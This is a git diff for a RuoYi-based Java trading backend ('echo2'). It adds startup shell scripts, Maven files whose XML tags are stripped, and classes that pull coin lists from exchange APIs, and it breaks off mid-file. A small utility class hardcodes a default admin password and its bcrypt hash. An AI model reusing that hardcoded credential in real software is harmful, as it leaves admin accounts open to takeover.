zbO&n$`>EFtUwb=F=@!XVzf?@af=h;n$Mf+)HZZ;?V%1DJli&0F?UyT)NziLs@ip4*rAN=%1f2*nQ zDA3qgJ7nq^+55*}xKK#Z#DJUX;w=b&Y+TB7Jbx5ppiUU4u|{^%0MDDK?ry!w6?Jt> zT6pQy8t~|?*XsP@Tr}u{o$0B2PipR71%tN+3|@B9;B^lO_V_P)330ns&=@Tvs4Q38 ztaejt#+otaq(#`3v>qNa?pyx7OFWoQ`&Bdd7z_n3FtSo<%IY1;37cxD4SrP`fU^X-A?m+FeO z0@$;Lfl{-ppA-BBJ!ft_U|+XF*RFXsIVjqwdWry*mMJY#&NOSNv&(ZoC#M&3+6K+` zjzp;=Mm8F1(dzYi7b+e!JZ*%hGcXVFcMe~>vRv{POiFexMXiZ{cvAm7TE%_0p;3R` z@50?p*p&cXXcgRM9yK87JgX2Xpk?do=VGpHM~NBsNYT+e4OhbOi#JA6?XtnwMCzQ;V~R_`*X7;JT? zX6}0X8QUc~N5NXHG1+jM`0!j@NFaxppX-a)hF-~%#dkE0FUgE7FHU`I%DxcX}a?hW&1tM_X=2UI1d!Qv{DGU54}*> zb;{VXzSQXUhc<0~g9B*AesjwOf2Xe>?Xj=tWqF6*C$c|ZySvX_DYqy!_S5NG3y+Z< zZ+;fK(u(?coNB0^seUHf&-2dM@Mef7tl%V*rkUk^th@fYSH{Q3y(f76d09DE4LJO!LAwsw?cvTgZy3c4d`N-C9=5l%krDr+56f;Ba$Gkh zkZxJy;D;m7Rg-{EqS27-J3S!I!9?9)-mqyl15Lr13Y z__3(SwUxPXBbHdEFi6(B1I{65kJv^vUE0U)5`Uh>d)8F%MHKIEs$q4x_4|q@1>?Aj z#0{!SR%L`~Ki|hK38fS!EA%KG3pJhKb8@<5CwV!%(z+=5nwGS(J+Bc;5Go@jRat#{ zRUb%fwGYitohV>p6+fqstU*YwJ$1;eVD_Imk$2ZGq)t7|JzrcSoM+HcP9!wP*HlYF zxYh>hb`_HI_Uc36{hy5UVWHpgZY@lzysyH_b{}6HEA^d7VSgHN=E^*e3; zi{#`)Zz{r&1MT(9X9oD8*EKeNt&WbandxU7)LOZiG#C$zpeCj^UM7jF*!4CuetngM zwYx6gY&odf8WO(tS$coQT_awWyInN;J(s-4!;XkP>d{$rD=l@cdP(1R;+o)x`fKeM z^!S!m2)hV72XdT!ipW`TAlC+OMR5Hc^kE)uRwS1mvMf!^Xl22RoY8{@e6E@Nr}kp&2+i+Q)$f0WK0ynINTdz_=os%q|usW=KPq!5C*n}9NpGAdCPnmvxD5Lian6h{zZ+@YlZs>0b-<_c9_w;X_4R+pFA#JOS zyM0)2UwV0l)T0`U%ywasR-6rV@7i0Tt2&j}I=FA2Fdp?}cpnpVM&4o-p)h>h8CkO; zrk=RUr$#fYwUO+ulG)<_YfcjyrzXY_>MVilJbK3y8o{8k8&WIz@OuxokX2IcQtn2{ zl=}T6U)G_LENToUkNlN<{Op*A`&M5xXufP2%C+oK*Bl<*CA&N4dL-zKovuQR$kWh) zu8IPMlWfl2+++K1*4>(M37-WSoj$E_u4Bsyzv6nFuw~EvP9qcFnJOWwGZZ3z>r8Gw zC-}nOWV*>#DDq2v!^??4Py8ez&4uTc(M_W(qI9%{kEe?@vgZ~nbbJ}mQ=ubidZ`?T zT3Ss|5v@)Il`Rkn^(2NFqi|Ln4_`zSPsxJ8MU*l9xHa$Cv?+d1+{YqCw59fLW5&mA z=x;c2WOUG6ht%YpGcsW1*(-s)scCiGYZqi(%(a$8*1aCw_LIj5)phY_VXF0hAb!QP z=ds!Md**2RYYJ85oMJlv)w=9gb#yvDYOL_uN4!8n>XZuC&Bz6uO%{@?*q{JzU^|d9 z+LSaZ5SKEV`VLk5`JcrY4J{1p(|_M>vIokzzJsA-06yHpNi@~=cMdw>MCaij>TG>B z&?5vv2qtqQa)Ml&C%(BKjXn>n_ z2ir^#a*m-QDjbT`ILt17R<#AqNDy)kg;6RTveY=_V>nnNB>{jSoDgRUi~;Plz12=(&t^N`v6BZ(Ws5QLnWGKt9ZryH3z)aEhrodF^g05SteRiL&{K&c3MewmajH;9yraPW+z%M(Wp z@(e5~L2WQSK$(xFte!jtMv6wENYH;L#3A$#M^rc*=zv5w8)kji*?~ mQ8JLPCy00em`0N};Gflnxe){$W5I15@XHb$Z$zUBKmHGjj;a6v literal 0 HcmV?d00001 diff --git a/echo2.0启动脚本/admin.sh b/echo2.0启动脚本/admin.sh new file mode 100644 index 0000000..67a1ec1 --- /dev/null +++ b/echo2.0启动脚本/admin.sh @@ -0,0 +1,153 @@ +#!/bin/sh +# 该脚本为Linux下启动java程序的脚本 +# 特别注意: +# 该脚本使用系统kill命令来强制终止指定的java程序进程。 +# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本, +# 根据实际情况来修改以下配置信息 ################################## +# JAVA应用程序的名称 +APP_NAME=$2'-admin' +# jar包存放路径 +JAR_PATH='/opt/echo2/'$2'/admin' +#更改jar 名称 +mv $JAR_PATH/"echo2-admin.jar" $JAR_PATH/$2"-admin.jar" +# jar包名称 +JAR_NAME=$2"-admin.jar" +# PID 代表是PID文件 +JAR_PID=$JAR_NAME\.pid +# 日志输出文件 +LOG_FILE= + + +# java虚拟机启动参数 +#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些 +XMS="-Xms512m" +#-Xmx: java heap(堆)最大值,使用的最大内存 +XMX="-Xmx1024m" +#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值 +METASPACE_SIZE="-XX:MetaspaceSize=512m" +#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大 +MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=512m" +#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean +PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps" +#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean +PRINTGCDETAILS="-XX:+PrintGCDetails" +#-XX:ParallelGCThreads: CMS/G1通用线程数设置 +PARALLELGCTHREADS="-XX:ParallelGCThreads=10" +#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件, +HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError" +#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下 +HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof" +#-Dfile.encoding: 文件编码 +FILE_ENCODING="-Dfile.encoding=utf-8" +#拼接参数 +JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log" +# 根据实际情况来修改以上配置信息 ################################## +is_exist() { + # 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程 + pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' ` + # [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格 + # [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真 + # 如果不存在返回0,存在返回1 + if [ -z "${pid}" ]; then + return 0 + else + return 1 + fi +} + +# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 ######### +# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号) +# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号) +# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) +# $- 显示shell使用的当前选项,与set命令功能相同 +# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。 +# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 +# $# 添加到Shell的参数个数 +# $0 Shell本身的文件名 +# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。 + +# 服务启动方法 +start() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 已经在运行pid是 ${pid}" + else + # jar服务启动脚本 + nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/admin.log 2>&1 & + echo $! > $JAR_PID + echo "启动 $APP_NAME 成功 pid是 $! " + sleep 15 + # 睡眠一会等启动完成后输出启动日志 + cat $JAR_PATH/admin.log + fi +} + +# 服务停止方法 +stop() { + # is_exist + pidf=$(cat $JAR_PID) + # echo "$pidf" + echo "pid = $pidf begin kill $pidf" + kill $pidf + rm -rf $JAR_PID + sleep 2 + # 判断服务进程是否存在 + is_exist + if [ $? -eq "1" ]; then + echo "pid = $pid begin kill -9 $pid" + kill -9 $pid + sleep 2 + echo "$APP_NAME 已停止!" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 服务运行状态查看方法 +status() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 正在运行,pid 是 ${pid}" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 重启服务方法 +restart() { + # 调用服务停止命令 + stop + # 调用服务启动命令 + start $1 $2 +} + +# 帮助说明,用于提示输入参数信息 +usage() { + echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]" + exit 1 +} + +################################### +# 读取脚本的第一个参数($1),进行判断 +# 参数取值范围:{ start | stop | restart | status } +# 如参数不在指定范围之内,则打印帮助信息 +################################### +#根据输入参数,选择执行对应方法,不输入则执行使用说明 +case "$1" in + 'start') + start $1 $2 + ;; + 'stop') + stop + ;; + 'restart') + restart $1 $2 + ;; + 'status') + status + ;; + *) + usage + ;; +esac +exit 0 diff --git a/echo2.0启动脚本/api.sh b/echo2.0启动脚本/api.sh new file mode 100644 index 0000000..ab5f454 --- /dev/null +++ b/echo2.0启动脚本/api.sh @@ -0,0 +1,153 @@ +#!/bin/sh +# 该脚本为Linux下启动java程序的脚本 +# 特别注意: +# 该脚本使用系统kill命令来强制终止指定的java程序进程。 +# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本, +# 根据实际情况来修改以下配置信息 ################################## +# JAVA应用程序的名称 +APP_NAME=$2'-api' +# jar包存放路径 +JAR_PATH='/opt/echo2/'$2'/api' +#更改jar 名称 +mv $JAR_PATH/"echo2-api.jar" $JAR_PATH/$2"-api.jar" +# jar包名称 +JAR_NAME=$2"-api.jar" +# PID 代表是PID文件 +JAR_PID=$JAR_NAME\.pid +# 日志输出文件 +LOG_FILE= + + +# java虚拟机启动参数 +#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些 +XMS="-Xms512m" +#-Xmx: java heap(堆)最大值,使用的最大内存 +XMX="-Xmx1024m" +#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值 +METASPACE_SIZE="-XX:MetaspaceSize=512m" +#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大 +MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=512m" +#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean +PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps" +#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean +PRINTGCDETAILS="-XX:+PrintGCDetails" +#-XX:ParallelGCThreads: CMS/G1通用线程数设置 +PARALLELGCTHREADS="-XX:ParallelGCThreads=10" +#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件, +HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError" +#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下 +HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof" +#-Dfile.encoding: 文件编码 +FILE_ENCODING="-Dfile.encoding=utf-8" +#拼接参数 +JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log" +# 根据实际情况来修改以上配置信息 ################################## +is_exist() { + # 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程 + pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' ` + # [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格 + # [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真 + # 如果不存在返回0,存在返回1 + if [ -z "${pid}" ]; then + return 0 + else + return 1 + fi +} + +# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 ######### +# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号) +# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号) +# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) +# $- 显示shell使用的当前选项,与set命令功能相同 +# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。 +# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 +# $# 添加到Shell的参数个数 +# $0 Shell本身的文件名 +# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。 + +# 服务启动方法 +start() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 已经在运行pid是 ${pid}" + else + # jar服务启动脚本 + nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/api.log 2>&1 & + echo $! > $JAR_PID + echo "启动 $APP_NAME 成功 pid是 $! " + sleep 15 + # 睡眠一会等启动完成后输出启动日志 + cat $JAR_PATH/api.log + fi +} + +# 服务停止方法 +stop() { + # is_exist + pidf=$(cat $JAR_PID) + # echo "$pidf" + echo "pid = $pidf begin kill $pidf" + kill $pidf + rm -rf $JAR_PID + sleep 2 + # 判断服务进程是否存在 + is_exist + if [ $? -eq "1" ]; then + echo "pid = $pid begin kill -9 $pid" + kill -9 $pid + sleep 2 + echo "$APP_NAME 已停止!" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 服务运行状态查看方法 +status() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 正在运行,pid 是 ${pid}" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 重启服务方法 +restart() { + # 调用服务停止命令 + stop + # 调用服务启动命令 + start $1 $2 +} + +# 帮助说明,用于提示输入参数信息 +usage() { + echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]" + exit 1 +} + +################################### +# 读取脚本的第一个参数($1),进行判断 +# 参数取值范围:{ start | stop | restart | status } +# 如参数不在指定范围之内,则打印帮助信息 +################################### +#根据输入参数,选择执行对应方法,不输入则执行使用说明 +case "$1" in + 'start') + start $1 $2 + ;; + 'stop') + stop + ;; + 'restart') + restart $1 $2 + ;; + 'status') + status + ;; + *) + usage + ;; +esac +exit 0 diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..c9d0f26 --- /dev/null +++ b/pom.xml @@ -0,0 +1,256 @@ + + + 4.0.0 + + com.ruoyi + ruoyi + 3.8.5 + + ruoyi + http://www.ruoyi.vip + 若依管理系统 + + + 3.8.5 + UTF-8 + UTF-8 + 1.8 + 3.1.1 + 1.2.16 + 1.21 + 3.0.0 + 2.3.3 + 1.4.6 + 2.0.25 + 6.4.0 + 2.11.0 + 3.2.2 + 4.1.2 + 2.3 + 0.9.1 + + + + + + + + + org.springframework.boot + spring-boot-dependencies + 2.5.15 + pom + import + + + + + com.alibaba + druid-spring-boot-starter + ${druid.version} + + + + + eu.bitwalker + UserAgentUtils + ${bitwalker.version} + + + + + com.github.pagehelper + pagehelper-spring-boot-starter + ${pagehelper.boot.version} + + + + + com.github.oshi + oshi-core + ${oshi.version} + + + + + io.springfox + springfox-boot-starter + ${swagger.version} + + + io.swagger + swagger-models + + + + + + + commons-io + commons-io + ${commons.io.version} + + + + + org.apache.poi + poi-ooxml + ${poi.version} + + + + + org.apache.velocity + velocity-engine-core + ${velocity.version} + + + + + commons-collections + commons-collections + ${commons.collections.version} + + + + + com.alibaba.fastjson2 + fastjson2 + ${fastjson.version} + + + + + io.jsonwebtoken + jjwt + ${jwt.version} + + + + + pro.fessional + kaptcha + ${kaptcha.version} + + + + + com.ruoyi + ruoyi-quartz + ${ruoyi.version} + + + + + com.ruoyi + ruoyi-generator + ${ruoyi.version} + + + + + com.ruoyi + ruoyi-framework + ${ruoyi.version} + + + + + com.ruoyi + ruoyi-system + ${ruoyi.version} + + + + + org.projectlombok + lombok + 1.18.26 + + + + + + + + + + + + + + com.ruoyi + ruoyi-common + ${ruoyi.version} + + + com.squareup.okhttp3 + okhttp + 4.9.0 + + + + + + ruoyi-admin + ruoyi-framework + ruoyi-system + ruoyi-quartz + ruoyi-generator + ruoyi-common + ruoyi-api + + pom + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + ${java.version} + ${java.version} + ${project.build.sourceEncoding} + + + + + + + + echo2-group + echo2-group + https://nexus.ok6.cc/repository/echo2-group/ + + true + + + + + + + echo2-group + echo2-group + https://nexus.ok6.cc/repository/echo2-group/ + true + + + + + + echo2-group + echo2-group + https://nexus.ok6.cc/repository/echo2-group/ + + true + + + false + + + + + diff --git a/ruoyi-admin/echo2-admin.iml b/ruoyi-admin/echo2-admin.iml new file mode 100644 index 0000000..5ae8822 --- /dev/null +++ b/ruoyi-admin/echo2-admin.iml @@ -0,0 +1,318 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-admin/pom.xml b/ruoyi-admin/pom.xml new file mode 100644 index 0000000..1b68f1c --- /dev/null +++ b/ruoyi-admin/pom.xml @@ -0,0 +1,107 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + jar + echo2-admin + + + web服务入口 + + + + + + + org.springframework.boot + spring-boot-devtools + true + + + + + io.springfox + springfox-boot-starter + + + + + io.swagger + swagger-models + 1.6.2 + + + + + mysql + mysql-connector-java + + + + + com.ruoyi + ruoyi-framework + + + + + com.ruoyi + ruoyi-quartz + + + + + com.ruoyi + ruoyi-generator + + + cc.block.data + blockcc-api-client + 1.3.2 + + + cc.block.data + blockcc-api-client + 1.3.2 + compile + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + 2.1.1.RELEASE + + true + + + + + repackage + + + + + + org.apache.maven.plugins + maven-war-plugin + 3.1.0 + + false + ${project.artifactId} + + + + ${project.artifactId} + + + \ No newline at end of file diff --git a/ruoyi-admin/src/main/java/com/ruoyi/AdminApplication.java b/ruoyi-admin/src/main/java/com/ruoyi/AdminApplication.java new file mode 100644 index 0000000..0946cac --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/AdminApplication.java @@ -0,0 +1,31 @@ +package com.ruoyi; + +import com.ruoyi.framework.ethws.WebSocketClientFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; + +/** + * 启动程序 + * + * @author ruoyi + */ +@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class }) +public class AdminApplication //implements ApplicationRunner +{ + /* @Autowired + private WebSocketClientFactory webSocketClientFactory;*/ + /* @Override + public void run(ApplicationArguments args) { + // 项目启动的时候打开websocket连接 + webSocketClientFactory.retryOutCallWebSocketClient(); + }*/ + public static void main(String[] args) + { + SpringApplication.run(AdminApplication.class, args); + System.out.println("启动成功\n"); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java b/ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java new file mode 100644 index 0000000..43e64f7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java @@ -0,0 +1,18 @@ +package com.ruoyi; + +import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; + +/** + * web容器中进行部署 + * + * @author ruoyi + */ +public class RuoYiServletInitializer extends SpringBootServletInitializer +{ + @Override + protected SpringApplicationBuilder configure(SpringApplicationBuilder application) + { + return application.sources(AdminApplication.class); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/TPass.java b/ruoyi-admin/src/main/java/com/ruoyi/TPass.java new file mode 100644 index 0000000..0643e3e --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/TPass.java @@ -0,0 +1,20 @@ +package com.ruoyi; + +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; + +/** + * @ClassName TPass + * @Description TODO + * @Author px + * @Version 1.0 + */ +public class TPass { + public static void main(String[] args) { + + //admin $2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2 + BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(); + String temp=encoder.encode("admin@123!"); + System.out.println(temp); + + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/compent/BeeBuildCompent.java b/ruoyi-admin/src/main/java/com/ruoyi/compent/BeeBuildCompent.java new file mode 100644 index 0000000..225e90b --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/compent/BeeBuildCompent.java @@ -0,0 +1,141 @@ +package com.ruoyi.compent; + +import cc.block.data.api.BlockccApiClientFactory; +import cc.block.data.api.BlockccApiRestClient; +import cc.block.data.api.domain.BlockccResponse; +import cc.block.data.api.domain.market.Market; +import cc.block.data.api.domain.market.Symbol; +import cc.block.data.api.domain.market.request.MarketParam; +import cc.block.data.api.domain.market.request.SymbolParam; +import cn.hutool.http.HttpRequest; +import cn.hutool.http.HttpResponse; +import cn.hutool.http.HttpUtil; +import com.alibaba.fastjson.JSONArray; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TMarkets; +import com.ruoyi.bussiness.domain.TSymbols; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TSymbolsMapper; +import com.ruoyi.bussiness.service.ITMarketsService; +import com.ruoyi.bussiness.service.ITSymbolsService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.BeanUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import javax.annotation.PostConstruct; +import java.util.List; + +@Component +public class BeeBuildCompent { + public static final Logger log = LoggerFactory.getLogger(BeeBuildCompent.class); + @Value("${mifeng.api.eth}") + private String apiKey; + @Value("${mifeng.api.host}") + private String host; + @Autowired + ITMarketsService marketsService; + @Autowired + ITSymbolsService symbolsService; + @Autowired + KlineSymbolMapper klineSymbolMapper; + + // @PostConstruct + private void buildHuobiCoin(){ + HttpResponse execute = HttpUtil.createGet("https://api.huobi.pro/v1/common/currencys").execute(); + if (execute.isOk()){ + String result = execute.body(); + JSONObject ret = JSONObject.parseObject(result); + JSONArray data =(JSONArray) ret.get("data"); + for (Object coin: data) { + KlineSymbol query = new KlineSymbol(); + String coin1 = (String) coin; + query.setSymbol(coin1); + query.setMarket("huobi"); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(query); + if(null==klineSymbols||klineSymbols.size()<1){ + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setMarket("huobi"); + klineSymbol.setSlug(coin1.toUpperCase()); + klineSymbol.setSymbol(coin1); + TSymbols tSymbols = new TSymbols(); + tSymbols.setSymbol(coin1.toUpperCase()); + List tSymbols1 = symbolsService.selectTSymbolsList(tSymbols); + if(null!=tSymbols1&&tSymbols1.size()>0){ + TSymbols tSymbols2 = tSymbols1.get(0); + klineSymbol.setLogo(tSymbols2.getLogoUrl()); + } + klineSymbolMapper.insertKlineSymbol(klineSymbol); + } + } + } + } +///sapi/v1/convert/exchangeInfo + // @PostConstruct + public void buildBinanceCoin(){ + HttpResponse execute = HttpUtil.createGet("https://fapi.binance.com/fapi/v1/exchangeInfo").execute(); + if (execute.isOk()){ + String result = execute.body(); + JSONObject ret = JSONObject.parseObject(result); + JSONArray data =(JSONArray) ret.get("symbols"); + for (Object coin: data) { + KlineSymbol query = new KlineSymbol(); + JSONObject coin1 = (JSONObject) coin; + String symbol = (String) coin1.get("baseAsset"); + query.setSymbol(symbol); + query.setMarket("binance"); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(query); + if(null==klineSymbols||klineSymbols.size()<1){ + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setMarket("binance"); + klineSymbol.setSlug(symbol.toUpperCase()); + klineSymbol.setSymbol(symbol); + TSymbols tSymbols = new TSymbols(); + tSymbols.setSymbol(symbol.toUpperCase()); + List tSymbols1 = symbolsService.selectTSymbolsList(tSymbols); + if(null!=tSymbols1&&tSymbols1.size()>0){ + TSymbols tSymbols2 = tSymbols1.get(0); + klineSymbol.setLogo(tSymbols2.getLogoUrl()); + } + klineSymbolMapper.insertKlineSymbol(klineSymbol); + } + } + } + } +// + //@PostConstruct + public void buildExCoin(){ + HttpResponse execute = HttpUtil.createGet("https://api-q.fx678img.com/exchangeSymbol.php?exchName=WH") + .header("referer", "https://quote.fx678.com/") + .header("Host", "api-q.fx678img.com") + .header("Origin", "https://quote.fx678.com").execute(); + String logo ="https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/#.png"; + KlineSymbol query = new KlineSymbol(); + if (execute.isOk()){ + String result = execute.body(); + JSONArray objects = JSONArray.parseArray(result); + for (int a = 0 ;a klineSymbols = klineSymbolMapper.selectKlineSymbolList(query); + if(null==klineSymbols||klineSymbols.size()<1){ + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setMarket("mt5"); + klineSymbol.setSlug(symbol.toUpperCase()); + klineSymbol.setSymbol(symbol); + klineSymbol.setLogo(logo.replace("#",symbol)); + klineSymbolMapper.insertKlineSymbol(klineSymbol); + } + } + } + } + public static void main(String[] args) { + BeeBuildCompent beeBuildCompent =new BeeBuildCompent(); + beeBuildCompent.buildExCoin(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/config/RedisStreamConfig.java b/ruoyi-admin/src/main/java/com/ruoyi/config/RedisStreamConfig.java new file mode 100644 index 0000000..684c9f3 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/config/RedisStreamConfig.java @@ -0,0 +1,95 @@ +package com.ruoyi.config; + +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.listen.ListenerMessage; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.telegrambot.MyTelegramBot; +import lombok.extern.slf4j.Slf4j; +import lombok.var; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.data.redis.connection.RedisConnectionFactory; +import org.springframework.data.redis.connection.stream.Consumer; +import org.springframework.data.redis.connection.stream.ReadOffset; +import org.springframework.data.redis.connection.stream.RecordId; +import org.springframework.data.redis.connection.stream.StreamOffset; +import org.springframework.data.redis.stream.StreamMessageListenerContainer; +import org.springframework.data.redis.stream.Subscription; + +import javax.annotation.PostConstruct; +import java.time.Duration; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * @author Huhailong + * @Description 注入监听类 + * @Date 2021/3/12. + */ +@Slf4j +@Configuration +public class RedisStreamConfig { + + private final ListenerMessage streamListener; //监听类 + private final RedisUtil redisUtil; //redis工具类 + + @Value("${admin-redis-stream.names}") + private String[]redisStreamNames; //redis stream 数组 + @Value("${admin-redis-stream.groups}") + private String[]groups; //redis stream 群组数组 + + /** + * 注入工具类和监听类 + */ + @Autowired + public RedisStreamConfig(RedisUtil redisUtil, List marketThread, WebSocketNotice webSocketNotice, ITWithdrawService withdrawService, 